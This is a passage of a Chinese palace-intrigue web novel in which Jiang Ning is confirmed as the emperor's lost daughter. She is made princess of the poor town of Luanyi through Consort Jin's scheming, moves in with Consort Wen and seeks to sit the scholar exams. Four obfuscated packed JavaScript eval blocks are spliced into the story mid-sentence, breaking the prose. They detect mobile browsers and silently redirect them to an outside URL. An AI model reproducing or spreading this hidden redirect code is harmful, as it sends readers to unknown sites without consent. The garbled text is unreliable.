暗卫检验之后,回禀道:“回皇上,这两具尸体,大的是女性,死的时候年纪二十来岁;小的是男婴,死的时候是刚出生不久的样子。男婴的襁褓里有一根蝴蝶金簪。” 暗卫把蝴蝶金簪呈上,皇帝看了,点点头,对姜柠说道:“你说的果然不错。” 姜柠悲伤道:“是,臣女不敢欺瞒皇上。” 这蝴蝶金簪是姜夫人的东西,放在这男婴的襁褓中,足以证明这男婴是姜夫人所生。 她看着棺材中的两具尸体,悲伤不已。一具是她素未谋面的生母,一具是养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146999|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母姜夫人所生的男婴,姜柠也把他当成自己的亲兄弟看待。 可怜这个男婴,还未曾在世上活一天,就死去了。他是姜柠名义上的兄弟,跟姜柠的亲生母亲埋在一起,也算是一种奇妙的缘分。 皇帝屏退其他人,对姜柠道:“姜柠,你试试滴骨验亲之法吧。” “是。” 姜柠咬破了自己的手指头,把血滴在那具大的尸骨上。 血很快就融进了尸骨中,证明她跟这具尸骨有血缘关系。 见状,皇帝又是欣喜,又是哀伤:“没想到朕还有一个女儿……霜质,可惜你怎么就红颜薄命……朕会好好对待我们的女儿的。” 姜柠虽然悲伤不能自已,但还是抓准时机,对皇帝说道:“皇上,您愿意承认我的身份?” “当然,你是朕的女儿,便该是公主。你的出生日期还在梦苒之前,你才应该是大公主。朕会把你带回皇宫,让所有的公主重新序齿。从此,你就是南萧国的大公主了。你的母亲,朕会追封她为妃子。” 姜柠拜谢:“多谢父皇。” 接着,她又对母亲的尸骨拜了三拜。 皇帝道:“柠儿,你现在可以说出那个为你母亲接生的老嬷嬷是谁了。朕已经认下了你,一切风险都不复存在,朕不但不会责罚那个老嬷嬷,还会奖赏她。” “是,她叫金妈妈,是我小时候的乳母。在我没出生前,她就在姜家干活了。后来我和那个死婴被调换了,我就成了姜家大小姐,一直是金妈妈在照顾我。” “好,等朕恢复你的身份后,会对那金妈妈进行封赏。还有这枫叶庵,当初收留你母亲,你也是在庵堂里出生的,朕也要赏赐她们。” “父皇英明。” —— 靳贵妃主持完宫宴,已经很晚了。 大臣们散去后,她朝后宫走去。 按照惯例,她派人去打听皇帝在做什么。 宫女回禀道:“启禀娘娘,皇上今晚好像在御书房处理政务,不进后宫了。” “他没去别的妃嫔那里?” “没有,御书房的灯火一直亮着呢,皇上的贴身太监也守在御书房门口。今晚皇上应该是不宠.幸妃嫔了。” “那行,咱们也回自己宫吧。” 靳贵妃一觉醒来,天塌了。 皇帝从宫外回来,还带回来一个公主。 那个公主就是她女儿的替身姜柠。 姜柠非但没死,反而摇身一变,成了皇帝的女儿。 靳贵妃消化不了如此巨大的信息量,懵了很久。 她问宫女:“你说的是真的?” “是的,皇上昨晚原来出宫了,还去见姜家大小姐了。不知怎的,他今天清晨把姜家大小姐带进宫来,还把礼部尚书姜焕叫进了御书房,也不知道说了什么。总之,后来就传出消息,说姜柠其实是真公主,论年纪还比咱们大公主要大一个月。皇上已经派人去叫宗正寺的官员,要给姜柠改名字,上皇室玉牒。” 靳贵妃摇头道:“不,这不可能……她明明是个替身……她只不过是跟我女儿长得有几分相似罢了,怎么会是公主?” 57. 后悔(修) “奴婢也不知道怎么回事,奴婢再去打探一下消息。” 这宫女急匆匆地往外跑,因为靳贵妃的脸色太可怕了,她不敢面对,生怕下一刻靳贵妃就会迁怒自己。 御书房里,礼部尚书姜焕在听了皇帝所说的话之后,也愣住了。 他知道自己的女儿从小就跟大公主长得像,没想到有这样的渊源。 他心中既悲且喜,悲伤的是姜柠这个女儿从此不属于自己了,以后再见面,就只能君臣相称;喜的是他女儿竟是真公主,而且还比大公主萧梦苒要大,那么以后萧梦苒就不能再明目张胆地欺负这个亲姐姐了,姜柠会过得比以前好。 这段时间,萧梦苒以姜柠的身份住在姜家,姜家人也挺不好过的。 萧梦苒那骄纵的公主脾气,令众人都苦不堪言。 如今,这样的日子终于要结束了。 姜柠对姜焕道:“姜大人,姜家抚养我十几年,我不会忘记的。” 然后,姜柠又对皇帝说道:“父皇,女儿想认姜大人为义父,以后仍旧孝顺他和姜家祖母,您看如何?” 皇帝点头道:“这样也好,你在姜家多年,跟他们亲如一家,认姜大人为义父,将来为他养老送终,也是应该的。” 姜焕喜出望外:“臣多谢皇上、公主恩典。” 姜柠赶紧扶姜焕起来。 皇帝对姜焕道:“早朝时间快到了,你随朕一起上朝吧。” 姜焕:“是。” 上朝的地方在承天殿,皇帝让姜柠坐在承天殿的后殿,这样姜柠就可以听见众人说话的声音,也能第一时间知道皇帝恢复她身份的话,可以早点安下心来。 这也是皇帝体贴她的地方。 早朝时,皇帝公布了姜柠的公主身份,并把如何认回她的过程都简单讲了一遍,这样就无人怀疑姜柠的血统了。 不过,皇帝却把认回姜柠的时间往前调了几个月。 皇帝道:“早在三个月前,朕已经知道姜柠是朕的亲生女儿。恰逢那时大皇子被北胤俘虏,需要送一个和亲公主过去,把大皇子换回来。姜柠挺身而出,以大公主萧梦苒的身份成为和亲公主,而真正的大公主则养在姜家。 朕本不想这么做,但姜柠说,她从血缘上来说是真公主,去和亲也是职责所在。只要能换回大皇子,她甘愿一辈子不回国。梦苒是朕和靳贵妃的爱女,她不忍见到朕和靳贵妃伤心,所以愿意代替梦苒和亲。 朕本想先恢复她的公主身份,再让她去和亲,让世人知道大义和亲的是她,而非梦苒。但她说,若是先恢复她的公主身份,世人难免要猜测她是何人所生。若是旁人知道她的生母是罪人之后、宫中奴婢,后来还逃出宫去,朕却浑然不知,难免会影响朕的名声,所以她暂时不打算恢复身份。 朕甚为感动,便只能在嫁妆方面多做弥补,送了她许多嫁妆,希望她和亲之后能过得好一些。 没想到,阴差阳错,和亲之事没成,姜柠在边境逗留了一个月。她为边境百姓做了许多好事,甚至连自己的嫁妆也拿出来大半,捐助了许多有需要的百姓和士兵。 姜柠善良仁爱,实为宗室子弟的典范。这次回来,朕无论如何也要恢复她的身份,即便影响朕的名声也顾不得了。 当年宠.幸一个身为罪人之后的奴婢,并对其不够关心,导致其怀着身孕逃出宫外,并在宫外产女而亡,这是朕的过失。这么多年来,朕没有追查过那个宫女的去向,不知其已埋尸荒野多年,其女已被姜家收养,亦是朕的过失。 今日,朕要弥补过失,封姜柠为大公主,改名萧柠。原大公主萧梦苒,按照年纪应该是二公主,其余公主也重新序齿。” 宗正寺卿道:“是,臣会重修玉牒,把大公主的名字加上去。” 大臣们纷纷说道: “皇上圣明!” “皇上身为天子,宠.幸一个宫女本属常事。至于皇上不知其怀有身孕,亦不知其逃往宫外,这是因为皇上日理万机,太过忙碌,皇上不必自责。如今公主回归,可喜可贺。” “萧柠公主回归,这是天佑我南萧国!公主爱民如子,正是继承了皇上的风范。由此可知,龙生龙,凤生凤,萧柠公主天生圣德,这是皇上的遗泽。” “是啊,微臣早就觉得萧柠公主长得像皇上,没想到果真是公主。如今公主回到皇上身边,皇上又可享天伦之乐,恭喜皇上!” “姜尚书有福气抚养萧柠公主,真令人羡慕啊!” 姜焕赶紧说道:“哪里哪里,这是姜家祖上积德,才获此殊荣。” 许多大臣都在恭喜皇帝,变着花样夸奖皇帝和萧柠。 自然没有人敢说皇帝有过失,也无人敢问当年萧柠的母亲为何要逃离宫中。 总之现在,皆大欢喜。 皇帝故意说自己几个月前就知道了萧柠的真实身份,是为了掩盖之前他逼迫大臣之女替嫁的事。 一开始,他并不知道萧柠是自己的亲生女儿,只知道萧柠长得跟大公主萧梦苒比较像,可以代替大公主去和亲。 如果把这个真相说出来,难免不好听。 所以,皇帝用了一番冠冕堂皇的话,掩盖了当时的真相。 他真正的过失,在别人看来只是宠.幸了一个宫女,并且不知道其怀有身孕,导致真公主流落在外十几年而已。 而这件事,对一个帝王来说,无伤大雅。 姜柠,现在是萧柠了,她坐在后殿听着这一切,也把皇帝的心思猜得七七八八。 她之前猜得果然没错,皇帝可以因为亲情认下她,但她这个女儿还没有重要到可以超过靳贵妃和皇帝的名声的地步。 她之前住在鸿胪寺中,差点被害死,可能是靳贵妃的手笔。还好她命大逃过了。 如果她不是皇帝的女儿,还不知道会有什么危险等着自己。 现在,至少命是保住了。 低调谨慎、不要张扬,也暂时不要告发靳贵妃的策略,是对的。 现在的她,先苟活下来才是最要紧的,其他的都可以徐徐图之。 说实话,之前替大公主出嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147000|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,萧柠是挺委屈的。但她身为臣女,有再多委屈也不能说。毕竟皇权最大,皇帝叫你干什么,你就得干什么。 哪怕皇帝叫你去死,你也只能谢恩。 这不公平,但这世道并没有绝对的公平。哪怕是夸夸群里的那些朋友,生活在一个相对自由平等的时代,但也充斥着种种不公,只能忍耐。 好在上天待萧柠不薄,给了她公主的身份,她心里的委屈、遗憾也少了一些。 但是到这个地步,还远远不够。 萧柠心中对自己的未来,有更宏大的设想。这都需要一步一步去实现。 皇帝接着道:“萧柠公主的生母章霜质,虽是罪人之后,但其本身并无过失,且生育大公主有功,朕决定追封她为顺妃,葬入皇陵。” 众臣齐声道:“皇上圣明!” 皇帝道:“至于萧柠公主的封号和汤沐邑,朕还需仔细斟酌,下次再议吧。大公主的乳母金妈妈,当年亲自接生了大公主,后来又照顾她多年,厥功至伟,加封为六品恭人,赏黄金百两,锦缎百匹,马车一乘,并有权进入内宫探望大公主。 京郊的枫叶庵,当年收留顺妃,令大公主顺利出生,亦有功劳。敕封枫叶庵为护国枫叶庵,香火钱五千两,并加以扩建。扩建枫叶庵一事,由工部负责,需在年底之前完工,面积要增加两倍,殿宇要增加三个以上,并重新装修所有禅房。” 工部尚书道:“臣遵命。” “另外,礼部尚书姜焕抚养大公主有功,升为尚书右仆射,加封忠义侯。其母封为阳朔郡夫人,其亡妻追封为清平郡夫人。大公主仍认姜焕为义父,不违父女之道。” 姜焕谢恩道:“臣姜焕谢皇上、公主,皇上万岁,公主千岁。” 接着,皇帝又和百官们谈起了其他国事。 这时,有个太监走到萧柠身边,小声道:“大公主,接下来皇上和群臣商议国事,您就不便再听了。请您随奴才离开,皇上吩咐了,让大公主暂时住在御书房附近的清霄殿。” 萧柠点了点头,跟随这小太监离开。 她心中隐隐有些不高兴,大概是因为一旦涉及正事,她就没资格听,哪怕她是公主也一样。 她觉得这很不合理。 总有一天,她要改变这一切。 难道只有男人才懂得治国吗? 不,不是这样的。 —— 皇帝身边的另一个小太监是靳贵妃的人,那小太监把早朝时发生的一切都禀告给了靳贵妃。 靳贵妃给了他赏银,让他退下。 接着,靳贵妃心有不甘,喃喃自语:“怎么会这样……章霜质当年生的明明是个男孩,而且一生下来就死了,我的人亲眼看见的……怎么会是个女孩,还被姜家收养了……贱.人的孽.种在本宫眼皮子底下生活了十八年,本宫竟然一点也没发觉…… 早在发现姜柠那丫头跟梦苒长得相像的时候,本宫就应该有所警觉了,为什么当时没有往深了想……” 靳贵妃越想越后悔,差点咬碎了牙。 58. 旧地(修) 当年,章霜质因家里获罪,没入宫中为奴,就是在靳贵妃的宫中做事。 没想到,皇帝竟看上了章霜质,后来章霜质怀有身孕,这令靳贵妃嫉恨不已。 靳贵妃对付高位妃嫔还需斟酌一下,但对付一个宫女是很轻松的。 她派人去杀了章霜质,没想到章霜质竟在宫人的掩护下逃走了。 她的人又追杀了章霜质很久,可章霜质竟然顽强地活到了生产那日。 不得不说,这个女人的命可真硬啊,她的女儿命更硬。 事到如今,萧柠已被认回来,靳贵妃也没什么办法。 好在只是个女儿,威胁不到她和她的儿子。 既然拦不住萧柠做公主,那就只能在别的地方动些手脚了。 皇帝下朝后,来探望靳贵妃。 靳贵妃穿着华服,打扮一新,对皇帝下拜道:“恭喜皇上找回了萧柠公主,这宫中又多了一位公主,梦苒多了一位姐姐,真是可喜可贺。” 皇帝笑道:“难得你如此高兴,朕想着,萧柠丧母,不如把她送到你宫中教养如何?” 靳贵妃笑容一滞:“皇上,嫔妾自然愿意教养大公主。只是她已经成年,品行优良,四德俱佳,可见姜家把她教得很好,无需再找个母亲来教养了。至于她对宫中规矩不熟悉,只需要派几个嬷嬷过去教她规矩就行了,想必花不了多久。” “嗯,这倒也是。” “皇上,关于大公主的食邑和封号,您确定了吗?” “还没有,朕要好好斟酌一下,把哪块地封给她。” “皇上,按本朝制度,公主食邑一千户,永业田两千亩。嫔妾想着,大公主在栾伊城待过一段时间,对那儿比较熟悉,那里的百姓对大公主也比较有感情。栾伊城有一万多人,合计两千多户,不如分出一千户来,给大公主做食邑,册封大公主为栾伊公主,您觉得呢?” 皇帝有些犹豫:“栾伊城那块……比较穷啊。那里的一千户,跟其他地方的一千户根本没法比。而且,那里的田不多,可以作为永业田的恐怕只有两百多亩,远远达不到公主应有的规制。朕这么多年来未曾抚养大公主,那孩子在外面长大,也够委屈的了。朕觉得,还是应该多给一点。” “那不如把栾伊城的两千多户全给大公主做食邑,也能弥补永业田之不足。两千多户食邑,已经超过了本朝公主的规制,足以彰显皇上的仁德与爱心。” “好吧,那就这么定了,大公主萧柠,封栾伊公主,享栾伊城两千多户百姓的税收。城内所有空余田地,都作为大公主的永业田。” “皇上英明。” —— 当萧柠接到这个圣旨后,表面欢喜谢恩,实则却在盘算。 她觉得,这一定是靳贵妃的手笔。 封给萧柠两千多户,看着是宠爱有加,实际上栾伊城太穷,税收也少,那里的两千多户,还比不上富庶地区的一百户。 而且,萧柠知道栾伊城土地贫瘠,可作为永业田的不过两百多亩,远远达不到公主应有的两千亩。 更重要的是,栾伊城已经跟北胤军队接壤,一旦栾伊城被北胤那边夺去,萧柠就什么都没有了。 而且,由于那里的百姓太穷,税收往往收不上来,姜柠总不能把那些百姓往绝路上逼。最终收入太少,她还是得自认倒霉。 靳贵妃所生的萧梦苒,同为公主,食邑却有万户,永业田也有万亩,已经达到了亲王的规制,跟大皇子一样。 靳贵妃得宠,她的女儿自然不能跟普通公主同日而语。 而萧柠心中也对自己的地位有了更深的认知。皇帝对她有愧疚,有亲情,但不多。 至少现在,她远远比不上萧梦苒。 不过,现在至少比以前好了。 如果她仍是大臣之女,是不会有食邑和永业田的。 手上的东西虽少,但以此为基础,她照样能打出一片江山。 她现在住在御书房隔壁的殿宇,想见皇帝倒是很方便。 不过,这里不是久居之所,皇帝肯定会给她另外安排住处。 与其等着皇帝安排,不如她自己找一个合适的住处。 于是,萧柠穿上公主的礼服,带上一些礼物,去拜访温妃。 到了温妃的桃夭宫,温妃亲自出来迎接:“大公主降临,真是荣幸。我已备好茶点和水果,请大公主到客厅叙话。” 萧柠笑道:“温妃娘娘客气了,若非您呈交手镯给皇上,我也没法被认回来。” “小事一桩,不值一提。” 萧柠细细打量着温妃,见她脸色嫣红,如三月桃花;大大的眼睛中蕴含着温柔的笑意,看起来毫无攻击性;鼻头圆润,樱唇小巧,穿一身绿色的罗裙,犹如仙女下凡。 也许是因为不曾生育,她的体态、容貌都宛如少女,让人一见就移不开眼睛。 萧柠觉得,难怪温妃能长盛不衰,这副模样太招人喜欢了。更何况她还对皇帝有救命之恩。 更重要的是,她从不曾居功自傲,飞扬跋扈,而是一直谦逊如水,这才是长久的生存之道。 很快来到了客厅,温妃吩咐宫女端来银耳红枣汤。 “公主,秋季干燥,喝点银耳红枣汤,可以润润喉咙。” “是,多谢温妃娘娘。” 萧柠和温妃都吃了起来。 吃完后,萧柠说道:“温妃娘娘,我有一事想跟您商议。” 温妃道:“公主直说便是。” “我如今暂时住在御书房附近,但那里不是久居之所,父皇应该会另外给我安排住处。我想搬到温妃娘娘这儿来,您觉得如何?我失去了母亲,温妃娘娘对我有恩,我愿像侍奉母亲一样侍奉您。” 温妃眼睛一亮:“太好了,本宫膝下寂寞,若是公主肯住过来,本宫也不孤单了。不过,公主已到婚龄,恐怕住不了多久。” “之前我代替二公主和亲,和亲一事刚取消不久,我并不想太快出嫁。我会跟父皇说,请求他晚几年再让我出嫁。” “这样也好,我们可以多相处些日子。不过,公主可千万别因为我,耽误了自己的婚事。” “不会的,是我自己不想太早出嫁。” “好,那本宫去请示皇上,看他同不同意公主住我这里。来人,去打听一下皇上现在在哪里。” 宫人应道:“是。” 大约两炷香后,宫人回复:“启禀娘娘,皇上下朝后就去了贵妃娘娘那里,一直没出来,今日应该是不会离开贵妃宫了。” “那就明日再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147001|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 萧柠又跟温妃寒暄了几句,就往自己的住所走去。 半路上,她遇见了被接回宫的萧梦苒。 萧梦苒还是跟以前差不多,一脸的傲慢。 她看见萧柠,愣了一下,随即露出不满的神色。 她就这样直愣愣地站在萧柠面前,似乎等待萧柠向她行礼。 可今时不同往日,萧柠是大公主,压萧梦苒一头。 萧柠自然不会行礼,而是平静地看着萧梦苒。 萧梦苒喝道:“大胆,你见了本公主,竟敢不行大礼?” 萧梦苒身边的宫女提醒道:“二公主,她是大公主,应该是您向她行礼。” 萧梦苒勃然变色,骂那宫女:“你胡说!她算哪门子公主,一个来历不明的野.种罢了!就算她比本公主大,她的生母也十分卑微,我的生母可是贵妃!” 那宫女低下头去,不敢再说。 萧柠却笑盈盈地对萧梦苒说道:“二妹妹回宫了?这段时间在姜家住得可还习惯?我也没想到,跟二妹妹还有姐妹的缘分。我还有事,改日再来找你。” “你……你不许当公主!也不许来找我!你以为我跟你关系很好吗?我告诉你,你最好躲得远远的,别再让我看见你!” 不论萧梦苒如何叫嚣,萧柠都没什么反应。 她没必要跟萧梦苒争一时之长短,不论萧梦苒愿不愿意,萧柠都是板上钉钉的大公主,这事是改不了的。 萧柠的权力和地位,来自于跟皇帝的血缘关系。皇帝可以生下萧梦苒,自然也能生下其他孩子,萧柠也只不过是其中之一。 她不会跟萧梦苒有过多的接触,萧梦苒已经长大,也许很快就会出嫁。而萧柠也有自己的地方要去,她们姐妹只怕以后见面都会很少。 萧梦苒不过是个不值一提的孩子罢了。 —— 萧柠回到寝殿,盘算着自己的未来。 她为自己找了个好靠山。温妃看起来柔弱,其实外柔内刚,且非常聪明,唯一的遗憾就是没有孩子。 而萧柠刚好能弥补这个遗憾,她和温妃两人正好可以互惠互利。 而且,萧柠是个公主,并不引人注意,也不会为温妃带来太大的麻烦。 晚上,皇帝果然没回御书房。 萧柠洗漱了一下,便躺在床上休息。她有事想找皇帝说,不过也不急在一时。 她的住所很大,光是客厅就有三间屋子那么大,中间还有个太湖石垒成的小水池,里面有荷叶、金鱼、睡莲等。 角落里摆着一些青翠的盆景,窗户是落地的木窗,可以左右推开,欣赏外面的风景。 屋内的帘子是一些透明的轻纱,上面写着名家的书法,看起来既飘逸,又有底蕴。 衣柜旁边有一面比人还高的圆形镜子,站在前面试衣服,好不好看一目了然。 床是用小叶紫檀做成的,散发着淡淡的香味,上面足可以睡五六个人。 四周是纱帐是粉色的云锦,还垂挂着珠帘。珠帘的珍珠都是一样大小,若有风吹进来,就会叮咚作响。 住在这样的地方,心情都好了很多。 虽然她的待遇远比不上萧梦苒,虽然她生母已逝,但这世上还是有很多美好的东西的。 59. 童生(修) 萧柠打开了夸夸群,把这些天的经历说了一下。 【樱桃小完犊子:哇,所以姜柠现在是公主了?不对,应该叫你萧柠……算了,还是叫你公主吧。】 【萧柠:哈哈,可以叫我小柠。】 【只涨工资不长肉:这个名字好。小柠又瞒着我偷偷进化了。】 【萧柠:哈哈哈哈】 【你已被群主移出群聊:怎么样,那个贵妃有没有为难你啊?】 【萧柠:她想为难,但已经来不及了。】 【你已被群主移出群聊:哈哈哈哈哈】 【回笼教教主:哈哈哈哈】 【有趣的灵魂一百多斤:哈哈哈哈小柠太幽默了】 【萧柠:不过,贵妃让皇上把我封到了一个比较贫瘠的地方,以后我的收入不会太高,跟萧梦苒比差远了。】 【感觉尸体暖暖的:封到了哪里啊?】 【萧柠:栾伊城。我现在的封号是栾伊公主。】 【感觉尸体暖暖的:那很不错啊,是你熟悉的老地方了,那里的百姓肯定很高兴。】 【萧柠:那倒是。如果我跟父皇自请去食邑居住的话,就能回到栾伊城,再次见到那里的百姓了。】 【活人微死:对啊,感觉他们都是你的父老乡亲了。】 【萧柠:哈哈哈哈哈】 【你已被群主移出群聊:我觉得没必要去食邑,别的不说,栾伊城的地理位置太危险了。倒不如留在宫里,吃香的喝辣的。】 【萧柠:其实,我有出去住的打算。住在宫里,就像被关在金笼子里的鸟一样。只有到了外面,才能一飞冲天。】 【只涨工资不长肉:哇,小柠真有志气!小柠出去之后想做什么啊?】 【活人微死:人家不是说了吗,想一飞冲天,所以她想造飞机!】 【只涨工资不长肉:……】 【回笼教教主:哈哈哈哈哈太搞笑了】 【樱桃小完犊子:哈哈哈哈哈哈】 【萧柠:什么是飞机?】 【樱桃小完犊子:一种会飞的东西,不过这不重要。】 【萧柠:姐姐们在干什么?】 【樱桃小完犊子:加班,不过没有加班费,嘻嘻】 【活人微死:非要说出来吗?】 【樱桃小完犊子:嘿嘿嘿】 【只涨工资不长肉:在涨工资,嘿嘿】 【你已被群主移出群聊:醒醒,别做梦了。】 【只涨工资不长肉:为什么要叫醒我,你这个恶毒的女人!】 【你已被群主移出群聊:嘿嘿】 【萧柠:感觉大家的精神状态都不是很好的样子。】 【你已被群主移出群聊:你要是加班你也疯】 【只涨工资不长肉:我要放飞自我,在办公室跳减肥操】 【樱桃小完犊子:youjump,Ijump】[注释1] 【萧柠:我听系统说,夸夸群升级了,只要进群聊天就能恢复全部精力和心情。但我不知道这对你们有没有效。】 【感觉尸体暖暖的:好像有效,我说怎么精神变好了。】 【回笼教教主:没错,刚才还犯困的,现在不困了。】 【萧柠:太好了,这个群也能帮到你们。】 【回笼教教主:并不会,精神好了,老板剥削得也就更狠了】 【萧柠:真可怜,抱抱姐姐们】 【只涨工资不长肉:自抱自泣.jpg】 萧柠觉得,当一个现代人也不容易。她又聊了一会,就关闭了夸夸群。 不过,她现在觉得精神很好,不想睡觉了。 于是,她索性读起了书。 她很喜欢看书,不管是儒家经典,还是志怪传奇,甚至是一些药方,她也能看得津津有味。 看了一个时辰后,终于困了,姜柠进入了梦乡。 —— 第二天一早,皇帝上朝完毕,回到御书房。 温妃已经候着了,笑着对皇帝道:“皇上,嫔妾想让大公主搬去跟嫔妾同住。嫔妾膝下寂寞,大公主知书达理,很合嫔妾的意。” 皇帝点头道:“这样也好。你性情温和,是后宫女子的表率,大公主跟着你也能多学点东西。她正好也没了娘,就由你教养吧。” “是,嫔妾多谢皇上。” 皇帝吩咐一个太监:“你去把大公主叫过来。” “是。” 过了一会,萧柠来了,皇帝说了让她跟温妃同住之事。 这正中萧柠下怀,萧柠谢恩道:“谢父皇,女儿一定跟温妃娘娘和睦相处,把温妃娘娘当成母亲一般。” 皇帝满意道:“这样挺好的。你先去收拾一下东西吧。” “是。父皇,儿臣还有一事相求。” “你说吧。” “听闻童生考试快开始了,请父皇准许儿臣参加童生考试。” 皇帝惊讶道:“你考童生做什么?” 凡是走科举路线的读书人,首先要通过童生考试,成为童生。 童生可以考秀才,考上秀才后可以考举人,举人可以考进士。 所以,想要成为进士,首先要取得童生资格。 萧柠心里想做的,是一步一步成为进士,这样她自请外出做官会名正言顺一点。 以前从来没有公主当官的先例,萧柠要走这条路,肯定困难重重。 但她如果是进士,就能让别人闭嘴。 进士做官,天经地义。 但是,要参加这么多轮考试,首先要经过皇帝允准才行。 因此,萧柠今天先试探性地提出要考童生。 她当然不会把真实的打算告诉皇帝,而是说:“父皇,女儿自问才学过人,想参加童生考试,验证一下自己的水平。” “哪有女子去参加童生考试的?你若想验证才学水平,朕让翰林院学士们出几道题目给你做就行了。” “童生考试是公开的,若女儿能通过考试,百姓们一定会称赞父皇教女有方,也能为皇室增加声望,父皇觉得呢?” “这个……” 温妃趁机说道:“皇上,大公主既然想去童生考场上玩玩,您就答应了吧。若是没通过考试,她是女子,也不丢人;若是通过了,那可是大大地涨了皇上的面子呀。皇上突然把大公主认回来,朝野本就存在一些非议。若是大公主有真才实学,官员和百姓们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147002|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会更认可大公主的。” 皇帝笑道:“好吧,那就准奏。不过,到时候柠儿可要换上男装。” 萧柠撒娇道:“那可不行,难道父皇要给儿臣一个假身份?儿臣要实名制考试。” “实名制……那也行,只是要带足够的宫人和侍卫,不可出了差池。考试结束,马上回宫。” “是。” 接着,萧柠挽着温妃的手,道:“温母妃,您跟我一起去收拾东西吧,看看什么要带,什么不要带。” 温妃笑道:“好。” 萧柠回到房间后,屏退下人,郑重地对温妃行了一礼:“多谢温妃娘娘刚才帮我说话。” “你这孩子,为何一定要参加童生考试不可呢?我可看得出来,你不是去玩的。” “温母妃,自古以来,男人有男人的路,女人有女人的路。但女人若走到男人的路上,是否也能走得好呢?很少有人这么走过,我想尝试一下。不知温母妃是否会觉得儿臣离经叛道?” 温妃的眼神中透露出欣赏:“大公主的心志,令人佩服。你只管去走,我们如今可是一条绳上的,你若飞得高,本宫也有好处。” “多谢温母妃支持。还请温母妃帮我收集一下,往年的童生考试都考什么题目。” “好,此事我会帮你办妥,你只需要专心读书变好。” “是。” 萧柠心中跟温妃更加亲近了一些。 “对了,温母妃,您可了解我外祖父一家?” 温妃叹息道:“你外祖父曾是吏部尚书,为朝廷举荐了一些人才。可是后来,他所举荐的官员很多都犯事了,皇上认为吏部尚书失职,就将他贬官流放。 章家的男眷一同流放,女眷为奴。你母亲算是比较幸运的,进宫为奴后被皇上看上了,后来还生下了你。虽然她已经去世,但还有身后哀荣,被追封为妃。 章家的其他人就没这么幸运了。她们大半辈子没吃过苦,忽然成为罪奴,受不了日夜劳作,再加上心理落差,身心俱疲,已经先后过世了。” 萧柠流泪道:“这么说,我外祖家已经没人了?” “是的。” 萧柠更加感受到自己的无依无靠。以后要靠自己了,要更加坚强才行。 温妃安慰道:“你别伤心,如果你能立下一些功劳,将来皇上看在你的面上,可能会免除章家的罪人身份,让你的外祖一家获得追封。虽然人死不能复生,但家族荣誉恢复了,对你也有好处。” “温母妃说的对,我以后要多立功劳才行。” 萧柠的东西不多,很快就完成了搬家事宜。 温妃给萧柠安排了最好的宫殿,萧柠很喜欢。 温妃又送来四名宫女、四名太监,还有两个教养嬷嬷,并一堆宝物。萧柠的排场也大了起来。 这些天,她决定闭门谢客,专心准备童生考试。 —— 靳贵妃宫里。 二公主萧梦苒道:“母妃,我不想当二公主,平白矮了姜柠一头。” 靳贵妃不在意地涂着指甲,道:“她比你大,又有什么办法?她现在叫萧柠,比别叫错了。” “可是,以前我才是最受宠的公主。” 60. 上学(修) “你现在也是啊。你想想萧柠的食邑和永业田,还有各种珠宝、财产,哪一样比得过你?她母亲就算被追封了,也只是个妃,你母亲可是贵妃,而且还活着,岂不是比她强?” “可是,她分走了父皇的关注……” “这有什么?你父皇最喜欢的公主,始终还是你。对于萧柠,他不过是偶尔想起来才会去看看罢了,就跟养了只宠物没差别。” 这时,一只白猫跳上贵妃的大腿,贵妃随手摸了几下,道:“母妃养了这只猫,你会介意吗?” “当然不会,但萧柠不是猫。我听说,她搬去跟温妃同住了,而且还要参加接下来的童生考试,搞不懂她到底想干什么。” 靳贵妃道:“温妃不能生育,收养一个成年公主有什么用?过不了多久,萧柠就嫁出去了,温妃照样膝下空虚。萧柠觉得跟温妃搞好关系,就能借到多少势?温妃母家式微,根本不值一提。 至于参加什么童生考试,估计是为了炫耀自己的才学吧。她已到婚龄,做这种事,不过是为了抬高自己,好选一个更好的夫婿罢了。” 萧梦苒道:“那她可真够有心机的。” 